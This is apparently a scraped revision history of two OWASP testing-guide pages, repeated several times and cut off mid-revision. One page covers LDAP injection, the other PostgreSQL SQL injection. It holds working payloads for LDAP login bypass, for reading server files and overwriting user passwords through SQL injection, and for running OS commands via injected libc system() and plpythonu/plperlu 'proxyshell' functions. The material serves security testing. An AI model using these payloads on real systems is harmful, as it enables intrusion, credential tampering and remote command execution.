the search filter will results in:

searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";

which is correct and always true.
This way the tester will gain logged-in status as the first user in LDAP three.

== References ==
'''Whitepapers''' 
Sacha Faust: "LDAP Injection" - http://www.spidynamics.com/whitepapers/LDAPinjection.pdf 
<nowiki>RFC 1960</nowiki>: "A String Representation of LDAP Search Filters" - http://www.ietf.org/rfc/rfc1960.txt 
Bruce Greenblatt: "LDAP Overview" - http://www.directory-applications.com/ldap3_files/frame.htm 
IBM paper: "Understanding LDAP" - http://www.redbooks.ibm.com/redbooks/SG244986.html 
 
'''Tools''' 
Softerra LDAP Browser - http://www.ldapadministrator.com/download/index.php 

{{Category:OWASP Testing Project AoC}}

Testing for LDAP Injection (OTG-INPVAL-006)

2008-08-22T23:21:55Z

Marco: /* Description of the Issue */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
LDAP is an acronym for Lightweight Directory Access Protocol. LDAP is a protocol to store information about users, hosts, and many other objects.
LDAP Injection is a server side attack, which could allow sensitive information about users and hosts represented in an LDAP structure to be disclosed, modified, or inserted. 
This is done by manipulating input parameters afterwards passed to internal search, add and modify functions.

== Description of the Issue ==

A web application could use LDAP in order to let users authenticate or search other users information
inside a corporate structure.

The goal of LDAP injection attacks is to inject LDAP search filters metacharacters in a query which will be executed by the application.

[[http://www.ietf.org/rfc/rfc2254.txt Rfc2254]]
defines a grammar on how to build a search filter on LDAPv3 and
extends [[http://www.ietf.org/rfc/rfc1960.txt Rfc1960]] (LDAPv2).

An LDAP search filter is constructed in Polish notation,
also known as [[http://en.wikipedia.org/wiki/Polish_notation prefix notation]].

This means that a pseudo code condition on a search filter like this:

find("cn=John & userPassword=mypass")

will be represented as:

find("(&(cn=John)(userPassword=mypass))")

Boolean conditions and group aggregations on an
LDAP search filter could be applied by using
the following metacharacters:
{| border=1
|| '''Metachar''' || '''Meaning'''
|-
|| & || Boolean AND
|-
|| | || Boolean OR
|-
|| ! || Boolean NOT
|-
|| = || Equals
|-
|| ~= || Approx
|-
|| >= || Greater than
|-
|| <= || Less than
|-
|| * || Any character
|-
|| () || Grouping parenthesis
|-
|}
More complete examples on how to build a search filter can be
found in the related RFC.

A successful exploitation of an LDAP injection vulnerability could allow the tester to:

* Access unauthorized content
* Evade Application restrictions
* Gather unauthorized informations
* Add or modify Objects inside LDAP tree structure.

== Black Box testing and example ==

=== Example 1. Search Filters ===

Let's suppose we have web application using a search
filter like the following one:

searchfilter="(cn="+user+")"

which is instantiated by an HTTP request like this:

<nowiki>http://www.example.com/ldapsearch?user=John</nowiki>

If 'John' value is replaced with a '*',
by sending the request:

<nowiki>http://www.example.com/ldapsearch?user=*</nowiki>

the filter will look like:

searchfilter="(cn=*)"

which means every object with a 'cn' attribute equals to anything.

If the application is vulnerable to LDAP injection
depending on LDAP connected user permissions and application execution
flow it will be displayed some or all of users attributes.

A tester could use trial and error approach by inserting
'(', '|', '&', '*' and the other characters in order to check
the application for errors.

=== Example 2. Login ===

If a web application uses a vulnerable login page with LDAP query for
user credentials, it is possible to bypass the check for user/password
presence by injecting an always true LDAP query (in a similar way to SQL
and XPATH injection ).

Let's suppose a web application uses a filter to match LDAP user/password pair.

searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))+"))";

By using the following values:

<nowiki>user=*)(uid=*))(|(uid=*
pass=password</nowiki>

the search filter will results in:

searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";

which is correct and always true.
This way the tester will gain logged-in status as the first user in LDAP three.

== References ==
'''Whitepapers''' 
Sacha Faust: "LDAP Injection" - http://www.spidynamics.com/whitepapers/LDAPinjection.pdf 
<nowiki>RFC 1960</nowiki>: "A String Representation of LDAP Search Filters" - http://www.ietf.org/rfc/rfc1960.txt 
Bruce Greenblatt: "LDAP Overview" - http://www.directory-applications.com/ldap3_files/frame.htm 
IBM paper: "Understanding LDAP" - http://www.redbooks.ibm.com/redbooks/SG244986.html 
 
'''Tools''' 
Softerra LDAP Browser - http://www.ldapadministrator.com/download/index.php 

{{Category:OWASP Testing Project AoC}}

Testing for LDAP Injection (OTG-INPVAL-006)

2008-08-22T23:20:30Z

Marco: /* Description of the Issue */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
LDAP is an acronym for Lightweight Directory Access Protocol. LDAP is a protocol to store information about users, hosts, and many other objects.
LDAP Injection is a server side attack, which could allow sensitive information about users and hosts represented in an LDAP structure to be disclosed, modified, or inserted. 
This is done by manipulating input parameters afterwards passed to internal search, add and modify functions.

== Description of the Issue ==

A web application could use LDAP in order to let users authenticate or search other users information
inside a corporate structure.

The goal of LDAP injection attacks is to inject LDAP search filters metacharacters in a query which will be executed by the application.

[[http://www.ietf.org/rfc/rfc2254.txt Rfc2254]]
defines a grammar on how to build a search filter on LDAPv3 and
extends [[http://www.ietf.org/rfc/rfc1960.txt Rfc1960]] (LDAPv2).

An LDAP search filter is constructed in Polish notation,
also known as [[http://en.wikipedia.org/wiki/Polish_notation prefix notation]].

This means that a pseudo code condition on a search filter like this:

find("cn=John & userPassword=mypass")

will be represented as:

find("(&(cn=John)(userPassword=mypass))")

Boolean conditions and group aggregations on an
LDAP search filter could be applied by using
the following metacharacters:
{| border=1
|| '''Metachar''' || '''Meaning'''
|-
|| & || Boolean AND
|-
|| | || Boolean OR
|-
|| ! || Boolean NOT
|-
|| = || Equals
|-
|| ~= || Approx
|-
|| >= || Greater than
|-
|| <= || Lesser than
|-
|| * || Any character
|-
|| () || Grouping parenthesis
|-
|}
More complete examples on how to build a search filter can be
found in the related RFC.

A successful exploitation of an LDAP injection vulnerability could allow the tester to:

* Access unauthorized content
* Evade Application restrictions
* Gather unauthorized informations
* Add or modify Objects inside LDAP tree structure.

== Black Box testing and example ==

=== Example 1. Search Filters ===

Let's suppose we have web application using a search
filter like the following one:

searchfilter="(cn="+user+")"

which is instantiated by an HTTP request like this:

<nowiki>http://www.example.com/ldapsearch?user=John</nowiki>

If 'John' value is replaced with a '*',
by sending the request:

<nowiki>http://www.example.com/ldapsearch?user=*</nowiki>

the filter will look like:

searchfilter="(cn=*)"

which means every object with a 'cn' attribute equals to anything.

If the application is vulnerable to LDAP injection
depending on LDAP connected user permissions and application execution
flow it will be displayed some or all of users attributes.

A tester could use trial and error approach by inserting
'(', '|', '&', '*' and the other characters in order to check
the application for errors.

=== Example 2. Login ===

If a web application uses a vulnerable login page with LDAP query for
user credentials, it is possible to bypass the check for user/password
presence by injecting an always true LDAP query (in a similar way to SQL
and XPATH injection ).

Let's suppose a web application uses a filter to match LDAP user/password pair.

searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))+"))";

By using the following values:

<nowiki>user=*)(uid=*))(|(uid=*
pass=password</nowiki>

the search filter will results in:

searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";

which is correct and always true.
This way the tester will gain logged-in status as the first user in LDAP three.

== References ==
'''Whitepapers''' 
Sacha Faust: "LDAP Injection" - http://www.spidynamics.com/whitepapers/LDAPinjection.pdf 
<nowiki>RFC 1960</nowiki>: "A String Representation of LDAP Search Filters" - http://www.ietf.org/rfc/rfc1960.txt 
Bruce Greenblatt: "LDAP Overview" - http://www.directory-applications.com/ldap3_files/frame.htm 
IBM paper: "Understanding LDAP" - http://www.redbooks.ibm.com/redbooks/SG244986.html 
 
'''Tools''' 
Softerra LDAP Browser - http://www.ldapadministrator.com/download/index.php 

{{Category:OWASP Testing Project AoC}}

Testing for LDAP Injection (OTG-INPVAL-006)

2008-08-22T23:16:13Z

Marco: /* Brief Summary */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
LDAP is an acronym for Lightweight Directory Access Protocol. LDAP is a protocol to store information about users, hosts, and many other objects.
LDAP Injection is a server side attack, which could allow sensitive information about users and hosts represented in an LDAP structure to be disclosed, modified, or inserted. 
This is done by manipulating input parameters afterwards passed to internal search, add and modify functions.

== Description of the Issue ==

A web application could use LDAP in order to let a user to
login with his own credentials or search other users informations
inside a corporate structure.

The primary concept on LDAP Injection is that in occurrence of
an LDAP query during execution flow,
it is possible to fool a vulnerable web application by using
LDAP Search Filters metacharacters.

[[http://www.ietf.org/rfc/rfc2254.txt Rfc2254]]
defines a grammar on how to build a search filter on LDAPv3 and
extends [[http://www.ietf.org/rfc/rfc1960.txt Rfc1960]] (LDAPv2).

A LDAP search filter is constructed in Polish notation,
also known as [[http://en.wikipedia.org/wiki/Polish_notation prefix notation]].

This means that a pseudo code condition on a search filter like this:

find("cn=John & userPassword=mypass")

will result in:

find("(&(cn=John)(userPassword=mypass))")

Boolean conditions and group aggregations on an
LDAP search filter could be applied by using
the following metacharacters:
{| border=1
|| '''Metachar''' || '''Meaning'''
|-
|| & || Boolean AND
|-
|| | || Boolean OR
|-
|| ! || Boolean NOT
|-
|| = || Equals
|-
|| ~= || Approx
|-
|| >= || Greater than
|-
|| <= || Lesser than
|-
|| * || Any character
|-
|| () || Grouping parenthesis
|-
|}
More complete examples on how to build a search filter could be
found in related RFC.

A successful exploitation of LDAP Injection could allow the tester to:

* Access unauthorized content
* Evade Application restrictions
* Gather unauthorized informations
* Add or modify Objects inside LDAP tree structure.

== Black Box testing and example ==

=== Example 1. Search Filters ===

Let's suppose we have web application using a search
filter like the following one:

searchfilter="(cn="+user+")"

which is instantiated by an HTTP request like this:

<nowiki>http://www.example.com/ldapsearch?user=John</nowiki>

If 'John' value is replaced with a '*',
by sending the request:

<nowiki>http://www.example.com/ldapsearch?user=*</nowiki>

the filter will look like:

searchfilter="(cn=*)"

which means every object with a 'cn' attribute equals to anything.

If the application is vulnerable to LDAP injection
depending on LDAP connected user permissions and application execution
flow it will be displayed some or all of users attributes.

A tester could use trial and error approach by inserting
'(', '|', '&', '*' and the other characters in order to check
the application for errors.

=== Example 2. Login ===

If a web application uses a vulnerable login page with LDAP query for
user credentials, it is possible to bypass the check for user/password
presence by injecting an always true LDAP query (in a similar way to SQL
and XPATH injection ).

Let's suppose a web application uses a filter to match LDAP user/password pair.

searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))+"))";

By using the following values:

<nowiki>user=*)(uid=*))(|(uid=*
pass=password</nowiki>

the search filter will results in:

searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";

which is correct and always true.
This way the tester will gain logged-in status as the first user in LDAP three.

== References ==
'''Whitepapers''' 
Sacha Faust: "LDAP Injection" - http://www.spidynamics.com/whitepapers/LDAPinjection.pdf 
<nowiki>RFC 1960</nowiki>: "A String Representation of LDAP Search Filters" - http://www.ietf.org/rfc/rfc1960.txt 
Bruce Greenblatt: "LDAP Overview" - http://www.directory-applications.com/ldap3_files/frame.htm 
IBM paper: "Understanding LDAP" - http://www.redbooks.ibm.com/redbooks/SG244986.html 
 
'''Tools''' 
Softerra LDAP Browser - http://www.ldapadministrator.com/download/index.php 

{{Category:OWASP Testing Project AoC}}

OWASP Backend Security Project Testing PostgreSQL

2008-08-22T23:14:38Z

Marco: /* Black Box testing and example */

= Short Description of the Issue =

In this paragraph, we're going to describe some SQL Injection techniques for PostgreSQL.
Keep in mind the following peculiarities:

* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
* SQL Statements can be truncated by appending the comment char: '''--'''.
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''

From here after, we suppose that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.

= Black Box testing and example =

== Identifing PostgreSQL ==

When a SQL Injection has been found, you need to carefully
fingerprint the backend database engine. You can determine that the backend database engine
is PostgreSQL by using the ''::'' cast operator.

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>

The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

== Blind Injection ==

For blind SQL injection attacks, you should take in consideration the following built-in functions:

* String Length
*: ''LENGTH(str)''
* Extract a substring from a given string
*: ''SUBSTR(str,index,offset)''
* String representation with no single quotes
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''

Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current
session process sleep for ''n'' seconds.

In previous version, you can easyly create a custom ''pg_sleep(n)'' by using libc:
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

== Single Quote unescape ==

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

* chr(n): Returns the character whose ascii value corresponds to the number n
* ascii(n): Returns the ascii value corresponds to the character n

Let;s say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' as:
chr(114)||chr(111)||chr(111)||chr(116)

'''Example:'''
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>

== Attack Vectors ==

=== Current User ===

The identity of the current user can be retrieved with the following SQL SELECT statements:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>

=== Current Database ===

The built-in function current_database() returns the current database name.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>

=== Reading from a file ===

ProstgreSQL provides two ways to access a local file:
* COPY statement
* pg_read_file() internal function (starting from PostgreSQL 8.1)

'''COPY:'''

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system with as the ''postgres'' user.

'''Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
</nowiki>

Data should be retrieved by performing a ''UNION Query SQL Injection'':
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement
* retrieve a row at time with UNION SQL Injection

'''Example:'''
<nowiki>
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
</nowiki>

'''pg_read_file():'''

This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
DBMS data directory.

'''Examples:'''

* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>

=== Writing to a file ===

By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights

<nowiki>
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
</nowiki>

=== Shell Injection ===

PostgreSQL provides a mechanism to add custom function,s by using both Dynamic Library and scripting
languages such as python, perl, and tcl.

==== Dynamic Library ====

Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?

Here's a little trick:

* create a ''stdout'' table
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting its ''stdout''
*: ''SELECT system('uname -a > /tmp/test')''
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
*: ''COPY stdout(system_out) FROM '/tmp/test'''
* retrieve output from ''stdout''
*: ''SELECT system_out FROM stdout''

''' Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

</nowiki>

==== plpython ====

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user. It's not installed by default and can be enabled on a given database by ''CREATELANG''

* Check if PL/Python has been enabled on some databsae:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'
* If not, try to enable:
*: ''CREATE LANGUAGE plpythonu''
* If all of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''

*Run a OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

==== plperl ====

Plperl allow to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so called application mask filtering of trusted/untrusted operations.

* Check if PL/perl-untrusted has been enabled:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not, assuming that sysadm has already installed the plperl package, try :
*: ''CREATE LANGUAGE plperlu''
* If all of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>); LANGUAGE plperlu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>

*Run a OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

= References =

OWASP : "Testing for SQL Injection" - http://www.owasp.org/index.php/Testing_for_SQL_Injection

Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

= Tools =

Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

OWASP Backend Security Project Testing PostgreSQL

2008-08-22T23:03:44Z

Marco: /* Short Description of the Issue */

= Short Description of the Issue =

In this paragraph, we're going to describe some SQL Injection techniques for PostgreSQL.
Keep in mind the following peculiarities:

* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
* SQL Statements can be truncated by appending the comment char: '''--'''.
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''

From here after, we suppose that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.

= Black Box testing and example =

== Identifing PostgreSQL ==

When a SQL Injection has been found you need to carefully
fingerprint backend database engine. You can determine that backend database engine
is PostgreSQL by using ''::'' cast operator.

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>

Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

== Blind Injection ==

For blind SQL Injection you should take in consideration internal provided functions:

* String Length
*: ''LENGTH(str)''
* Extract a substring from a given string
*: ''SUBSTR(str,index,offset)''
* String representation with no single quotes
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''

Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current
session process sleep for ''n'' seconds.

On previous version you can easy create a custom ''pg_sleep(n)'' by using libc:
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

== Single Quote unescape ==

String can be encoded, to prevent single quotes escaping, by using chr() function.

* chr(n): Returns the character whose ascii value corresponds to the number
* ascii(n): Returns the ascii value corresponds to the character

Let say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' with:
chr(114)||chr(111)||chr(111)||chr(116)

'''Example:'''
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>

== Attack Vectors ==

=== Current User ===

Current user can be retrieved with the following SQL SELECT statements:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>

=== Current Database ===

Native function current_database() return current database name.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>

=== Reading from a file ===

ProstgreSQL provides two way to access local file:
* COPY statement
* pg_read_file() internal function (starting from PostgreSQL 8.1)

'''COPY:'''

This operator copies data between file and table. PostgreSQL engine access local FileSystem with ''postgres'' user rights.

'''Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
</nowiki>

Data should be retrieved by performi a ''UNION Query SQL Injection'':
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement
* retrieve a row at time with UNION SQL Injection

'''Example:'''
<nowiki>
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
</nowiki>

'''pg_read_file():'''

This function was introduced on ''PostgreSQL 8.1'' and allow to read arbitrary file located inside
DBMS data directory.

'''Examples:'''

* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>

=== Writing to a file ===

By reverting COPY statement we can write to local filesystem with ''postgres'' user rights as well

<nowiki>
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
</nowiki>

=== Shell Injection ===

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting
languages such as python, perl, tcl.

==== Dynamic Library ====

Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?

Here's a little trick:

* create a ''stdout'' table
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting it's ''stdout''
*: ''SELECT system('uname -a > /tmp/test')''
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
*: ''COPY stdout(system_out) FROM '/tmp/test'''
* retrieve output from ''stdout''
*: ''SELECT system_out FROM stdout''

''' Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

</nowiki>

==== plpython ====

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''

* Check if PL/Python has been enabled on some databsae:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'
* If not try to enable:
*: ''CREATE LANGUAGE plpythonu''
* If all of the above succeded create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''

*Run a OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

==== plperl ====

Plperl allow to code PostgreSQL functions in perl. Normally is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system such as ''open''. By doing so it's impossible to gain OS-level access. To successfully inject a proxyshell like function we need to install the untrusted version from ''postgres'' user to avoid the so called application mask filtering of trusted/untrusted operations.

* Check if PL/perl-untrusted has been enabled:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not assuming that sysadm has allready installed plperl package try :
*: ''CREATE LANGUAGE plperlu''
* If all of the above succeded create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>); LANGUAGE plperlu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>

*Run a OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

= References =

OWASP : "Testing for SQL Injection" - http://www.owasp.org/index.php/Testing_for_SQL_Injection

Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

= Tools =

Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

OWASP Backend Security Project Testing PostgreSQL

2008-08-22T23:03:25Z

Marco: /* Short Description of the Issue */

= Short Description of the Issue =

In this paragraph, we're going to describe some SQL Injection techniques for PostgreSQL.
Keep in mind the following peculiarities:

* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
* SQL Statements can be truncated by appending the comment char: '''--'''.
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''

From here after, we suppose that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attack.

= Black Box testing and example =

== Identifing PostgreSQL ==

When a SQL Injection has been found you need to carefully
fingerprint backend database engine. You can determine that backend database engine
is PostgreSQL by using ''::'' cast operator.

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>

Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

== Blind Injection ==

For blind SQL Injection you should take in consideration internal provided functions:

* String Length
*: ''LENGTH(str)''
* Extract a substring from a given string
*: ''SUBSTR(str,index,offset)''
* String representation with no single quotes
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''

Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current
session process sleep for ''n'' seconds.

On previous version you can easy create a custom ''pg_sleep(n)'' by using libc:
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

== Single Quote unescape ==

String can be encoded, to prevent single quotes escaping, by using chr() function.

* chr(n): Returns the character whose ascii value corresponds to the number
* ascii(n): Returns the ascii value corresponds to the character

Let say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' with:
chr(114)||chr(111)||chr(111)||chr(116)

'''Example:'''
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>

== Attack Vectors ==

=== Current User ===

Current user can be retrieved with the following SQL SELECT statements:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>

=== Current Database ===

